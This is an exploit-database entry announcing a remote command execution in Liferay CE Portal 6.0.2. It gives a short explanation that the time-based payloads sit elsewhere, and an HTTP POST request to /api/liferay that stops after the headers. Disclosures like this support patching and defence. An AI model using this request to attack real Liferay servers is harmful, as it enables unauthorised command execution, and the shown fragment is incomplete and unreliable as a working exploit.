Liferay CE Portal 6.0.2 Remote Command Execution

Type packetstorm
Reporter Berk Dusunur
Modified 2020-01-29T00:00:00


                                            `# Exploit Title: Liferay CE Portal 6.0.2 - Remote Command Execution  
# Google Dork: N/A  
# Date: 2020-01-29  
# Exploit Author: Berk Dusunur  
# Vendor Homepage:  
# Software Link:  
# Version: 6.0.2  
# Tested on: MacOS  
# CVE : N/A  
I already shared payloads in my github repo (Because payloads so small and  
have a meta character). You must find the right syntax by brute-force  
method.Payloads I share are for time-based proof of concept (sleep 10). The  
application may not always output the command. That's why you should try  
time-based payload while doing PoC.  
POST /api/liferay HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close